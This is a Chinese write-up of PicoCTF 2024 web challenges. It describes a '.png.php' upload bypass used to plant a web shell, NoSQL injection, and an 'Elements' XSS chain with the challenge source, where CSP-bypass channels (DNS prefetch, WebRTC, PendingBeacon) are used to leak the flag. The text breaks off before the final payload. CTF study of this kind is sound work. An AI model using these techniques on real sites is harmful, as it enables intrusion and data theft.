PicoCTF2024 Web Writeup


清一下存货

Bookmarklet请添加图片描述

web方向的签到题

打开以后能看到上图的代码

然后将其放到控制台运行就能出flag了

javascript:(function() {
  var encryptedFlag = "àÒÆަȬëÙ£Ö–ÓÚåÛÑ¢ÕÓ–¡›ÒŤ›í";
  var key = "picoctf";
  var decryptedFlag = "";
  for (var i = 0; i < encryptedFlag.length; i++) {
      decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
  }
  alert(decryptedFlag);
})();

WebDecode

打开f12查几个页面,在about.html的一个隐秘的地方发现了一串神秘字符串

请添加图片描述

放进赛博厨子就能解出来

Unminify

利用burp的内置浏览器打开f12即可,或者将f12后的源码直接复制到vscode中:

在这里插入图片描述
在这里插入图片描述

IntroToBurp

抽象题

{%asset_img 5.png awa%}

Trickster

简单的文件上传,利用.png.php即可绕过

再不行就加个PNG头
在这里插入图片描述
在这里插入图片描述

改一下用蚁剑连就好

No SQL Injection

抽象题目2

利用burp

Nosql 注入从零到一_nosql注入-CSDN博客

{%asset_img 8.png awa%}

Elements

接下来我要向您隆重介绍本次PicoCTF的抽象集大成者题目:Elements!

赛时:

如果对手是elements这种题目的话,可能会有点棘手呢?

会ak的!

你(elements)才是挑战者!

赛后:

没有让elements大人使出全力真是抱歉

好了,看下这个b题是啥玩意

背景是一个在线合成网站,将两种元素放在一起就能合成新元素,而系统给了我们四种初始元素

其源码如下:

index.mjs

import { createServer } from 'node:http';
import assert from 'node:assert';
import { spawn } from 'node:child_process';
import { mkdir, mkdtemp, writeFile, rm, readFile } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';

const sleep = delay => new Promise(res => setTimeout(res, delay));

const html = await readFile('static/index.html', 'utf-8');
const js = await readFile('static/index.js', 'utf-8');
const flag = await readFile('flag.txt', 'utf-8');

let visiting = false;

async function visit(state) {
	if (visiting) return;
	visiting = true;

	state = {...state, flag }
	
	const userDataDir = await mkdtemp(join(tmpdir(), 'elements-'));

	await mkdir(join(userDataDir, 'Default'));
	await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
		net: {
			network_prediction_options: 2
		}
	}));

	const proc = spawn(
		'/usr/bin/chromium-browser-unstable', [
			`--user-data-dir=${userDataDir}`,
			'--profile-directory=Default',
			'--no-sandbox',
			'--js-flags=--noexpose_wasm,--jitless',
			'--disable-gpu',
			'--no-first-run',
			'--enable-experimental-web-platform-features',
			`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
		],
		{ detached: true }
	)

	await sleep(10000);
	try {
		process.kill(-proc.pid)
	} catch(e) {}
	await sleep(500);

	await rm(userDataDir, { recursive: true, force: true, maxRetries: 10 });

	visiting = false;
}

createServer((req, res) => {
	const url = new URL(req.url, 'http://127.0.0.1');

	const csp =  [
		"default-src 'none'",
		"style-src 'unsafe-inline'",
		"script-src 'unsafe-eval' 'self'",
		"frame-ancestors 'none'",
		"worker-src 'none'",
		"navigate-to 'none'"
	]

	// no seriously, do NOT attack the online-mode server!
	// the solution literally CANNOT use it!
	if (req.headers.host !== '127.0.0.1:8080') {
		csp.push("connect-src https://elements.attest.lol/");
	}

	res.setHeader('Content-Security-Policy', csp.join('; '));
	res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
	res.setHeader('X-Frame-Options', 'deny');
	res.setHeader('X-Content-Type-Options', 'nosniff');

	if (url.pathname === '/') {
		res.setHeader('Content-Type', 'text/html');
		return res.end(html);
	} else if (url.pathname === '/index.js') {
		res.setHeader('Content-Type', 'text/javascript');
		return res.end(js);
	} else if (url.pathname === '/remoteCraft') {
		try {
			const { recipe, xss } = JSON.parse(url.searchParams.get('recipe'));
			console.log(recipe);
			console.log(xss);
			assert(typeof xss === 'string');
			assert(xss.length < 300);
			assert(recipe instanceof Array);
			assert(recipe.length < 50);
			for (const step of recipe) {
				console.log(step)
				assert(step instanceof Array);
				assert(step.length === 2);
				for (const element of step) {
					assert(typeof xss === 'string');
					assert(element.length < 50);
				}
			}
			visit({ recipe, xss });
		} catch(e) {
			console.error(e);
			return res.writeHead(400).end('invalid recipe!');
		}
		return res.end('visiting!');
	}

	return res.writeHead(404).end('not found');
}).listen(8080);

index.js (bot)

// this entire thing is basically a knockoff of infinite craft
// https://neal.fun/infinite-craft/

const onlineHost = 'https://elements.attest.lol';

const buttons = document.getElementById('elements');

// these were all generated by ai, yes they have some really weird results
const recipes = [["Ash","Fire","Charcoal"],["Steam Engine","Water","Vapor"],["Brick Oven","Heat Engine","Oven"],["Steam Engine","Swamp","Sauna"],["Magma","Mud","Obsidian"],["Earth","Mud","Clay"],["Volcano","Water","Volcanic Rock"],["Brick","Fog","Cloud"],["Obsidian","Rain","Black Rain"],["Colorful Pattern","Fire","Rainbow Fire"],["Cloud","Obsidian","Storm"],["Ash","Obsidian","Volcanic Glass"],["Electricity","Haze","Static"],["Fire","Water","Steam"],["Dust","Rainbow","Powder"],["Computer Chip","Steam Engine","Artificial Intelligence"],["Fire","Mud","Brick"],["Hot Spring","Swamp","Sulfur"],["Adobe","Graphic Design","Web Design"],["Colorful Interface","Data","Visualization"],["IoT","Security","Encryption"],["Colorful Pattern","Mosaic","Patterned Design"],["Earth","Steam Engine","Excavator"],["Cloud Computing","Data","Data Mining"],["Earth","Water","Mud"],["Brick","Fire","Brick Oven"],["Colorful Pattern","Obsidian","Art"],["Rain","Steam Engine","Hydropower"],["Colorful Display","Graphic Design","Colorful Interface"],["Fire","Mist","Fog"],["Exploit","Web Design","XSS"],["Computer Chip","Hot Spring","Smart Thermostat"],["Earth","Fire","Magma"],["Air","Earth","Dust"],["Cloud","Rainbow","Rainbow Cloud"],["Dust","Heat Engine","Sand"],["Obsidian","Thunderstorm","Lightning Conductor"],["Cloud","Rain","Thunderstorm"],["Adobe","Cloud","Software"],["Hot Spring","Rainbow","Colorful Steam"],["Dust","Fire","Ash"],["Cement","Swamp","Marsh"],["Hot Tub","Mud","Mud Bath"],["Electricity","Glass","Computer Chip"],["Ceramic","Fire","Earthenware"],["Haze","Swamp","Fog Machine"],["Rain","Rainbow","Colorful Display"],["Brick","Water","Cement"],["Dust","Haze","Sandstorm"],["Ash","Hot Spring","Geothermal Energy"],["Ash Rock","Heat Engine","Mineral"],["Electricity","Software","Program"],["Computer Chip","Fire","Data"],["Colorful Pattern","Swamp","Algae"],["Fog","Water","Rain"],["Rainbow Pool","Reflection","Color Spectrum"],["Artificial Intelligence","Data","Encryption"],["Internet","Smart Thermostat","IoT"],["Cinder","Heat Engine","Ash Rock"],["Brick","Swamp","Mudbrick"],["Computer Chip","Volcano","Data Mining"],["Obsidian","Water","Hot Spring"],["Computer Chip","Thunderstorm","Power Surge"],["Brick","Obsidian","Paving Stone"],["User Input","Visualization","Interactive Design"],["Mist","Mud","Swamp"],["Geolocation","Wall","Map"],["Air","Rock","Internet"],["Computer Chip","Rain","Email"],["Fire","Rainbow","Colorful Flames"],["Hot Spring","Mineral Spring","Healing Water"],["Ceramic","Volcano","Lava Lamp"],["Brick Oven","Wall","Fireplace"],["Glass","Software","Vulnerability"],["Fog","Mud","Sludge"],["Fire","Marsh","S'mores"],["Artificial Intelligence","Data Mining","Machine Learning"],["Ash","Brick","Brick Kiln"],["Fire","Obsidian","Heat Resistant Material"],["Hot Spring","Sludge","Steam Engine"],["Artificial Intelligence","Computer Chip","Smart Device"],["Fire","Steam Engine","Heat Engine"],["Ash","Earth","Cinder"],["Rainbow","Reflection","Refraction"],["Encryption","Software","Cybersecurity"],["Graphic Design","Mosaic","Artwork"],["Colorful Display","Data Mining","Visualization"],["Hot Spring","Water","Mineral Spring"],["Rainbow","Swamp","Reflection"],["Air","Fire","Smoke"],["Program","Smart HVAC System","Smart Thermostat"],["Haze","Obsidian","Blackout"],["Brick","Earth","Wall"],["Heat Engine","Steam Locomotive","Railway Engine"],["Ash","Thunderstorm","Volcanic Lightning"],["Mud","Water","Silt"],["Colorful Pattern","Hot Spring","Rainbow Pool"],["Fire","Sand","Glass"],["Art","Web Design","Graphic Design"],["Internet","Machine Learning","Smart HVAC System"],["Electricity","Power Surge","Overload"],["Colorful Pattern","Computer Chip","Graphic Design"],["Air","Water","Mist"],["Brick Oven","Cement","Concrete"],["Artificial Intelligence","Cloud","Cloud Computing"],["Computer Chip","Earth","Geolocation"],["Color Spectrum","Graphic Design","Colorful Interface"],["Internet","Program","Web Design"],["Computer Chip","Overload","Circuit Failure"],["Data Mining","Geolocation","Location Tracking"],["Heat Engine","Smart Thermostat","Smart HVAC System"],["Brick","Mud","Adobe"],["Cloud","Dust","Rainbow"],["Hot Spring","Obsidian","Hot Tub"],["Steam Engine","Volcano","Geothermal Power Plant"],["Earth","Fog","Haze"],["Brick","Steam Engine","Steam Locomotive"],["Brick","Colorful Pattern","Mosaic"],["Hot Spring","Steam Engine","Electricity"],["Ash","Volcano","Volcanic Ash"],["Electricity","Water","Hydroelectric Power"],["Brick","Rainbow","Colorful Pattern"],["Silt","Volcano","Lava"],["Computer Chip","Software","Program"],["Hot Spring","Thunderstorm","Lightning"],["Ash","Clay","Ceramic"],["Cybersecurity","Vulnerability","Exploit"],["Ash","Heat Engine","Ash Residue"],["Internet","Smart Device","Cloud Computing"],["Magma","Mist","Rock"],["Interactive Design","Program","Smart Device"],["Computer Chip","Electricity","Software"],["Colorful Pattern","Graphic Design","Design Template"],["Fire","Magma","Volcano"],["Earth","Obsidian","Computer Chip"],["Geolocation","Location Tracking","Real-Time Positioning"]];

const elements = new Map([["Sauna","💦"],["Railway Engine","🚂"],["Clay","🎨"],["Geolocation","📍"],["Colorful Steam","💨"],["Sand","🏖️"],["Visualization","📈"],["Heat Engine","🔩"],["Steam Locomotive","🚂"],["Patterned Design","🎨"],["Smoke","💨"],["Brick","🏠"],["Sandstorm","🌪️"],["Hot Tub","🛀"],["Cybersecurity","🔒"],["Lightning","⚡"],["Fireplace","🔥"],["Fog Machine","💨"],["Mud Bath","🛀"],["Earthenware","🍽️"],["Web Design","💻"],["Dust","🌀"],["Design Template","📋"],["Ceramic","🎨"],["Sulfur","💨"],["Algae","🌱"],["Computer Chip","💻"],["Rainbow Pool","🏊‍♀️"],["Internet","💻"],["Thunderstorm","🌩️"],["Cement","🏭"],["Data","📊"],["Oven","🍞"],["Geothermal Energy","🌋"],["Static","💭"],["Brick Oven","🍞"],["Mud","💦"],["Steam","🚂"],["S'mores","🍪"],["Graphic Design","🖋️"],["Art","🎨"],["Geothermal Power Plant","🌋"],["Circuit Failure","💣"],["Earth","🌍"],["Real-Time Positioning","📍"],["Power Surge","💥"],["Smart HVAC System","💻"],["Mosaic","🎨"],["Mudbrick","🏰"],["Smart Device","📱"],	['Security', '🔒'],['User Input', '📱'],["Vulnerability","🚨"],["Ash Residue","💔"],["Rock","🤘"],["Vapor","💨"],["Healing Water","💧"],["Excavator","🚧"],["Map","🗺️"],["Fire","🔥"],["Heat Resistant Material","🔥"],["Mist","💨"],["Air","💨"],["Swamp","🌿"],["Water","💧"],["IoT","📱"],["Hydropower","💧"],["Hydroelectric Power","💧"],["Reflection","💭"],["Volcano","🌋"],["Data Mining","💻"],["Smart Thermostat","💻"],["Storm","🌪️"],["Black Rain","🌩️"],["Rain","🌧"],["Blackout","💔"],["Haze","💨"],["Location Tracking","📍"],["Software","📊"],["Adobe","📢"],["Color Spectrum","🎨"],["Exploit","💰"],["Electricity","💡"],["Silt","🌀"],["Marsh","🐢"],["Glass","🍷"],["Volcanic Glass","🌋"],["Refraction","🔍"],["Colorful Display","🎨"],["Program","📊"],["Fog","🌫️"],["Steam Engine","🚂"],["Lava Lamp","💡"],["Cloud","☁️"],["Mineral Spring","💧"],["XSS","😈"],["Magma","🔥"],["Sludge","💢"],["Overload","😩"],["Mineral","💎"],["Volcanic Lightning","🌋"],["Ash Rock","🔥"],["Ash","🔥"],["Rainbow","🌈"],["Rainbow Cloud","🌈"],["Concrete","🏛️"],["Volcanic Rock","🌋"],["Artificial Intelligence","🤖"],["Powder","💨"],["Colorful Pattern","🎨"],["Cinder","👠"],["Interactive Design","📱"],["Machine Learning","🤖"],["Lightning Conductor","⚡"],["Hot Spring","🛀"],["Colorful Interface","🎨"],["Cloud Computing","💻"],["Rainbow Fire","🔥"],["Charcoal","🔥"],["Encryption","🔒"],["Volcanic Ash","🌋"],["Brick Kiln","🏭"],["Email","📧"],["Obsidian","🔥"],["Wall","🏰"],["Lava","🔥"],["Colorful Flames","🔥"],["Paving Stone","🛠️"],["Artwork","🎨"]]);

const cache = new Map();

let found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨'], ['Exploit','💰'], ['Web Design','💻']]);

if (localStorage.getItem('found')) {
	found = new Map(JSON.parse(localStorage.getItem('found')));
}

let onlineMode = false;


let state = {};
(async () => {
	try {
		await fetch(`${onlineHost}/status`);
		onlineMode = localStorage.getItem('online') ?? false;
		document.getElementById('online-enabled').checked = onlineMode;
		document.getElementById('online-enabled').onchange = () => {
			if (localStorage.getItem('online') === null) {
				alert("NOTE: Online mode exists purely for fun and is not part of the challenge solution. You should not attempt to hack the online mode server.\nPlease don't ruin the fun for everyone else by trying to abuse online mode!\nYou and your team WILL be disqualified if you're found to be trying to attack the server in any way.\nYOU HAVE BEEN WARNED!")
			}
			onlineMode = document.getElementById('online-enabled').checked;
			localStorage.setItem('online', onlineMode);
		}
		document.getElementById('online').removeAttribute('hidden');
	} catch(e) {}
})();

document.getElementById('search').onkeyup = () => {
	for (const element of document.getElementsByClassName('element')) {
		if (!element.innerText.toLowerCase().includes(document.getElementById('searchbox').value.toLowerCase())) {
			element.setAttribute('hidden', true);
		} else {
			element.removeAttribute('hidden');
		}
	}
}

const evaluate = (...items) => {
	const [a, b] = items.sort();
	for (const [ingredientA, ingredientB, result] of recipes) {
		console.log("a: " + a + "b: "+ b);
		if (ingredientA === a && ingredientB == b) {
			console.log(state.xss);
			console.log(result);
			if (result === 'XSS' && state.xss) {
				console.log("eval here");
				eval(state.xss);
			}
			return result;
		}
	}
	return null;
}

const colliding = (elementA, elementB) => {
	const [a, b] = [elementA.getBoundingClientRect(), elementB.getBoundingClientRect()];
	return a.right >= b.left && a.left <= b.right && a.bottom >= b.top && a.top <= b.bottom;
}

const hash = (...args) => JSON.stringify(args);

const create = element => {
	const tryCombine = async (into, hover) => {
		const [a, b] = [into.getAttribute('data-name'), hover.getAttribute('data-name')].sort();

		let result = evaluate(a, b);

		if (onlineMode && !result) {
			if (cache.has(hash(a, b))) {
				result = cache.get(hash(a, b));
			} else {
				cache.set(hash(a, b), null);
				let res;
				try {
					res = await (await fetch(`${onlineHost}/combine?a=${a}&b=${b}`)).json();
				} catch(e) {
					alert('failed to reach online mode endpoint!');
					document.getElementById('online-enabled').click();
					return;
				}
				if (!res.result) {
					alert(JSON.stringify(res));
					result = null;
					cache.delete(hash(a, b));
				} else {
					const [element, emoji] = res.result;
					elements.set(element, emoji);
					result = element;
					cache.set(hash(a, b), element);
				}
			}
		}

		if (result) {
			if (!found.has(result)) {
				create(result);
				found.set(result, elements.get(result));
				localStorage.setItem('found', JSON.stringify([...found.entries()]));
			}
			into.innerText = `${elements.get(result)} ${result}`;
			into.setAttribute('data-name', result);
			hover.remove();
		}
	}

	const button = document.createElement('button');
	button.innerText = `${elements.get(element)} ${element}`;
	button.classList.add('element');

	button.onmousedown = e => {
		const atom = document.createElement('button');
		atom.innerText = button.innerText;
		atom.classList.add('atom');
		atom.style.zIndex = 102;

		atom.setAttribute('data-name', element);

		const move = (x, y) => {
			atom.style.left = `${x - atom.offsetWidth / 2}px`;
			atom.style.top = `${y - atom.offsetHeight / 2}px`;
		}

		move(e.pageX, e.pageY);

		const onMove = e => move(e.pageX, e.pageY);

		document.addEventListener('mousemove', onMove);

		atom.onmousedown = () => {
			atom.style.zIndex = 102;
			document.addEventListener('mousemove', onMove);
		}

		atom.onmouseup = async () => {
			if (colliding(atom, buttons)) return atom.remove();
			atom.style.zIndex = 101;
			for (const other of document.getElementsByClassName('atom')) {
				if (other === atom) continue;
				other.style.zIndex = 100;
			}
			document.removeEventListener('mousemove', onMove);

			const loadingOn = (...items) => {
				for (const item of items) {
					item.style.opacity = '50%';
				}
			}

			const loadingOff = (...items) => {
				for (const item of items) {
					item.style.opacity = null;
				}
			}

			for (const into of document.getElementsByClassName('atom')) {
				if (into === atom) continue;
				if (colliding(into, atom)) {
					loadingOn(into, atom);
					await tryCombine(into, atom);
					loadingOff(into, atom);
				}
			}
		}

		atom.oncontextmenu = e => {
			e.preventDefault();
			atom.remove();
		}

		document.body.appendChild(atom);
	}

	buttons.appendChild(button);
}

for (const [element, emoji] of found.entries()) {
	elements.set(element, emoji);
	create(element);
}

try {
	state = JSON.parse(atob(window.location.hash.slice(1)));
	console.log(state);
	console.log(found);
	console.log(state.recipe);
	for (const [a, b] of state.recipe) {
		console.log([a, b]);
		if (!found.has(a) || !found.has(b)) {
			console.log("not found error");
			break;
		}
		console.log("evaluate here");
		const result = evaluate(a, b);
		found.set(result, elements.get(result));
	}
} catch(e) {console.log("error")}

慢慢看可以看得出来在index.mjs中的/remoteCraft可以访问visit函数,visit函数里起了一个新的chromium浏览器进程,它会带着base64加密后的state访问127.0.0.1:8080

然后state就有我们的flag

接下来就是将flag带出的问题

这里很容易想到xss,而且题目一直在暗示我们xss

remoteCraft里面需要我们传recipe参数,然后是一个json,json里面包含recipe和xss,它可以帮我们批量合成元素

然后xss和recipe都得有分别满足的条件

assert(typeof xss === 'string');
			assert(xss.length < 300);
			assert(recipe instanceof Array);
			assert(recipe.length < 50);
			for (const step of recipe) {
				console.log(step)
				assert(step instanceof Array);
				assert(step.length === 2);
				for (const element of step) {
					assert(typeof xss === 'string');
					assert(element.length < 50);
				}
			}

然后才能够进到visit

反正就是依托

再看index.js
在这里插入图片描述

有个evaluate函数能够eval我们传进去的state.xss

但是前面有检验
在这里插入图片描述

从总配方中取出配方再判断能不能合成xss(相当于问你有没有解锁xss,这里的found就是已经解锁的元素)

如果有就会eval(state.xss)

这里state = JSON.parse(atob(window.location.hash.slice(1)));

其实就是#后面的东西经过base64解码后的结果

这里不信可以自己手操一下

那这样就可以大概理解这个流程了:

  • 先解锁xss这个元素(或者找到解锁xss的路径),然后remoteCraft打payload
  • 打完payload后进入visit函数,然后起了一个新的浏览器进程
  • 该浏览器访问了127.0.0.1:8080,并且携带#data,data内有我们的payload
  • 通过evaluate函数进行eval(data),打xss并将flag带出

基本原理弄懂了,想打xss了,然后看看实际上有多困难

限制条件

  • CSP

在createServer里有一个csp:

const csp =  [
		"default-src 'none'",
		"style-src 'unsafe-inline'",
		"script-src 'unsafe-eval' 'self'",
		"frame-ancestors 'none'",
		"worker-src 'none'",
		"navigate-to 'none'"
	]

这里我想利用johnfrod师傅的csp绕过:

绕csp

发现不行,他这个csp里的script-src不是unsafe-inline

而且也没有可以利用的cdn等网站

这里这个csp是基本上超级强大,如果有师傅知道这个csp能绕的话还请教教我T_T

  • 浏览器

这里浏览器还有一个policy.json的限制

{"URLAllowlist":["127.0.0.1:8080"],"URLBlocklist":["*"]}

只允许访问127.0.0.1:8080,限制了其他的页面

{%asset_img 11.png awa%}

  • chromium.diff
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
index f0948629cb..393e7c77e0 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
@@ -61,10 +61,7 @@ enum RTCPeerConnectionState {
 // https://w3c.github.io/webrtc-pc/#interface-definition

 [
-    ActiveScriptWrappable,
-    Exposed=Window,
-    LegacyWindowAlias=webkitRTCPeerConnection,
-    LegacyWindowAlias_Measure
+    ActiveScriptWrappable
 ] interface RTCPeerConnection : EventTarget {
     // TODO(https://crbug.com/1318448): Deprecated `mediaConstraints` should be removed.
     [CallWith=ExecutionContext, RaisesException] constructor(optional RTCConfiguration configuration = {}, optional GoogMediaConstraints mediaConstraints);

还有一段通过network_prediction_options:2的方式阻止了预加载

这里具体是啥呢?

看了国外大佬的解释,这里是说对WebRTCpeerconnection打补丁,因为在WebRTC中有一种利用DNS解析的方式从子域向外部发送消息,从而绕过csp的方法

Content Security Policy (CSP) Bypass | Japanese - Ht | HackTricks

同样道理,利用link标签的dns-prefetch预读功能就能够通过DNS绕过CSP

Content Security Policy (CSP) Bypass | Japanese - Ht | HackTricks

具体的文章也po在上面了

如果想看中文的可以看这个

Content Security Policy (CSP) Bypass | Chinese - Ht | HackTricks

{%asset_img 12.png awa%}

{%asset_img 13.png awa%}

所以各种绕csp的方法都被限制了

  • 内核版本

我这里受到XCTF的xssbot的影响,想着也能够靠CVE-2023-4357的chromeXXE来读flag,但是并不行

这边可以根据出题人给的docker文件来起环境,然后查看内核版本

{%asset_img chrome.png awa%}

这里很可惜,是Chromium 122.0.6261.111 unstable

是一个很新的内核(xxe的影响版本在Chrome < 116.0.5845.96)

Chrome Platform Status (chromestatus.com)

这个网址可以查看最新版内核

突破

所以这个题就很离谱,各种防御都做上了,基本上找不到能绕过的点

所以出题者是想让我们寻找新的绕过csp方法

突破口在哪呢?

在这个浏览器启动的参数:

const proc = spawn(
		'/usr/bin/chromium-browser-unstable', [
			`--user-data-dir=${userDataDir}`,
			'--profile-directory=Default',
			'--no-sandbox',
			'--js-flags=--noexpose_wasm,--jitless',
			'--disable-gpu',
			'--no-first-run',
			'--enable-experimental-web-platform-features',
			`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
		],
		{ detached: true }
	)

可以发现它启用了实验性功能,这些实验性功能有些可能会不受csp的控制

这就是突破点了,找一下内核122(或者之前的实验性功能),可以翻到Chrome 121里有一个fetch(它和xss里的fetch可能有联系)

{%asset_img 14.png awa%}

{%asset_img 15.png awa%}

这个api他能够发请求

大概意思是:他要在页面关掉之后才能发请求

pending-beacon/docs/fetch-later-api.md at main · WICG/pending-beacon · GitHub

反正读这个api就很抽象

按照平时页面关闭就能发请求,它这个肯定是能用了

但是它是直接把进程杀了。。。

{%asset_img 16.png awa%}

导致请求发不过来,这就很难受

但是功夫不负有心人,可以在这个api文档里看到另一个pending-beacon-api(这个fetchlater的motivation)

它也是可以发请求的:

{%asset_img 17.png awa%}

而且它还不需要等页面关闭,这里直接用这个pending beacon打就好了,注意,这里的pending beacon似乎只能够向https发送请求:

解决

利用脚本先找出xss的合成路线:

recipes = [
    ["Ash", "Fire", "Charcoal"],
    ["Steam Engine", "Water", "Vapor"],
    ["Brick Oven", "Heat Engine", "Oven"],
    ["Steam Engine", "Swamp", "Sauna"],
    ["Magma", "Mud", "Obsidian"],
    ["Earth", "Mud", "Clay"],
    ["Volcano", "Water", "Volcanic Rock"],
    ["Brick", "Fog", "Cloud"],
    ["Obsidian", "Rain", "Black Rain"],
    ["Colorful Pattern", "Fire", "Rainbow Fire"],
    ["Cloud", "Obsidian", "Storm"],
    ["Ash", "Obsidian", "Volcanic Glass"],
    ["Electricity", "Haze", "Static"],
    ["Fire", "Water", "Steam"],
    ["Dust", "Rainbow", "Powder"],
    ["Computer Chip", "Steam Engine", "Artificial Intelligence"],
    ["Fire", "Mud", "Brick"],
    ["Hot Spring", "Swamp", "Sulfur"],
    ["Adobe", "Graphic Design", "Web Design"],
    ["Colorful Interface", "Data", "Visualization"],
    ["IoT", "Security", "Encryption"],
    ["Colorful Pattern", "Mosaic", "Patterned Design"],
    ["Earth", "Steam Engine", "Excavator"],
    ["Cloud Computing", "Data", "Data Mining"],
    ["Earth", "Water", "Mud"],
    ["Brick", "Fire", "Brick Oven"],
    ["Colorful Pattern", "Obsidian", "Art"],
    ["Rain", "Steam Engine", "Hydropower"],
    ["Colorful Display", "Graphic Design", "Colorful Interface"],
    ["Fire", "Mist", "Fog"],
    ["Exploit", "Web Design", "XSS"],
    ["Computer Chip", "Hot Spring", "Smart Thermostat"],
    ["Earth", "Fire", "Magma"],
    ["Air", "Earth", "Dust"],
    ["Cloud", "Rainbow", "Rainbow Cloud"],
    ["Dust", "Heat Engine", "Sand"],
    ["Obsidian", "Thunderstorm", "Lightning Conductor"],
    ["Cloud", "Rain", "Thunderstorm"],
    ["Adobe", "Cloud", "Software"],
    ["Hot Spring", "Rainbow", "Colorful Steam"],
    ["Dust", "Fire", "Ash"],
    ["Cement", "Swamp", "Marsh"],
    ["Hot Tub", "Mud", "Mud Bath"],
    ["Electricity", "Glass", "Computer Chip"],
    ["Ceramic", "Fire", "Earthenware"],
    ["Haze", "Swamp", "Fog Machine"],
    ["Rain", "Rainbow", "Colorful Display"],
    ["Brick", "Water", "Cement"],
    ["Dust", "Haze", "Sandstorm"],
    ["Ash", "Hot Spring", "Geothermal Energy"],
    ["Ash Rock", "Heat Engine", "Mineral"],
    ["Electricity", "Software", "Program"],
    ["Computer Chip", "Fire", "Data"],
    ["Colorful Pattern", "Swamp", "Algae"],
    ["Fog", "Water", "Rain"],
    ["Rainbow Pool", "Reflection", "Color Spectrum"],
    ["Artificial Intelligence", "Data", "Encryption"],
    ["Internet", "Smart Thermostat", "IoT"],
    ["Cinder", "Heat Engine", "Ash Rock"],
    ["Brick", "Swamp", "Mudbrick"],
    ["Computer Chip", "Volcano", "Data Mining"],
    ["Obsidian", "Water", "Hot Spring"],
    ["Computer Chip", "Thunderstorm", "Power Surge"],
    ["Brick", "Obsidian", "Paving Stone"],
    ["User Input", "Visualization", "Interactive Design"],
    ["Mist", "Mud", "Swamp"],
    ["Geolocation", "Wall", "Map"],
    ["Air", "Rock", "Internet"],
    ["Computer Chip", "Rain", "Email"],
    ["Fire", "Rainbow", "Colorful Flames"],
    ["Hot Spring", "Mineral Spring", "Healing Water"],
    ["Ceramic", "Volcano", "Lava Lamp"],
    ["Brick Oven", "Wall", "Fireplace"],
    ["Glass", "Software", "Vulnerability"],
    ["Fog", "Mud", "Sludge"],
    ["Fire", "Marsh", "S'mores"],
    ["Artificial Intelligence", "Data Mining", "Machine Learning"],
    ["Ash", "Brick", "Brick Kiln"],
    ["Fire", "Obsidian", "Heat Resistant Material"],
    ["Hot Spring", "Sludge", "Steam Engine"],
    ["Artificial Intelligence", "Computer Chip", "Smart Device"],
    ["Fire", "Steam Engine", "Heat Engine"],
    ["Ash", "Earth", "Cinder"],
    ["Rainbow", "Reflection", "Refraction"],
    ["Encryption", "Software", "Cybersecurity"],
    ["Graphic Design", "Mosaic", "Artwork"],
    ["Colorful Display", "Data Mining", "Visualization"],
    ["Hot Spring", "Water", "Mineral Spring"],
    ["Rainbow", "Swamp", "Reflection"],
    ["Air", "Fire", "Smoke"],
    ["Program", "Smart HVAC System", "Smart Thermostat"],
    ["Haze", "Obsidian", "Blackout"],
    ["Brick", "Earth", "Wall"],
    ["Heat Engine", "Steam Locomotive", "Railway Engine"],
    ["Ash", "Thunderstorm", "Volcanic Lightning"],
    ["Mud", "Water", "Silt"],
    ["Colorful Pattern", "Hot Spring", "Rainbow Pool"],
    ["Fire", "Sand", "Glass"],
    ["Art", "Web Design", "Graphic Design"],
    ["Internet", "Machine Learning", "Smart HVAC System"],
    ["Electricity", "Power Surge", "Overload"],
    ["Colorful Pattern", "Computer Chip", "Graphic Design"],
    ["Air", "Water", "Mist"],
    ["Brick Oven", "Cement", "Concrete"],
    ["Artificial Intelligence", "Cloud", "Cloud Computing"],
    ["Computer Chip", "Earth", "Geolocation"],
    ["Color Spectrum", "Graphic Design", "Colorful Interface"],
    ["Internet", "Program", "Web Design"],
    ["Computer Chip", "Overload", "Circuit Failure"],
    ["Data Mining", "Geolocation", "Location Tracking"],
    ["Heat Engine", "Smart Thermostat", "Smart HVAC System"],
    ["Brick", "Mud", "Adobe"],
    ["Cloud", "Dust", "Rainbow"],
    ["Hot Spring", "Obsidian", "Hot Tub"],
    ["Steam Engine", "Volcano", "Geothermal Power Plant"],
    ["Earth", "Fog", "Haze"],
    ["Brick", "Steam Engine", "Steam Locomotive"],
    ["Brick", "Colorful Pattern", "Mosaic"],
    ["Hot Spring", "Steam Engine", "Electricity"],
    ["Ash", "Volcano", "Volcanic Ash"],
    ["Electricity", "Water", "Hydroelectric Power"],
    ["Brick", "Rainbow", "Colorful Pattern"],
    ["Silt", "Volcano", "Lava"],
    ["Computer Chip", "Software", "Program"],
    ["Hot Spring", "Thunderstorm", "Lightning"],
    ["Ash", "Clay", "Ceramic"],
    ["Cybersecurity", "Vulnerability", "Exploit"],
    ["Ash", "Heat Engine", "Ash Residue"],
    ["Internet", "Smart Device", "Cloud Computing"],
    ["Magma", "Mist", "Rock"],
    ["Interactive Design", "Program", "Smart Device"],
    ["Computer Chip", "Electricity", "Software"],
    ["Colorful Pattern", "Graphic Design", "Design Template"],
    ["Fire", "Magma", "Volcano"],
    ["Earth", "Obsidian", "Computer Chip"],
    ["Geolocation", "Location Tracking", "Real-Time Positioning"],
]

graph = {}
# 根据合成表建图 邻接表
for hecheng in recipes:
    graph[hecheng[2]] = hecheng[:2]


# 起点元素
has = ["Fire", "Water", "Earth", "Air"]


# 存路线
luxian = []


def find_has(item):
    global graph, has, luxian
    # 如果该元素已经拥有, 则没必要再找了
    if item in has:
        return item
    # 如果不是, 从图中寻找合成元素
    item_f, item_m = graph[item][0], graph[item][1]
    # 已经前去寻找合成路线了, 所以可以看作该元素已拥有
    has.append(item)

    next = [find_has(item_f), find_has(item_m)]
    # 如果"原料"都已拥有, 则添加路线
    if item_f in has and item_m in has:
        luxian.append(f"{item_f}+{item_m}={item}")

    return next


print(find_has("XSS"))

for i in luxian:
    print(i)

这里找到了合成路线如下:

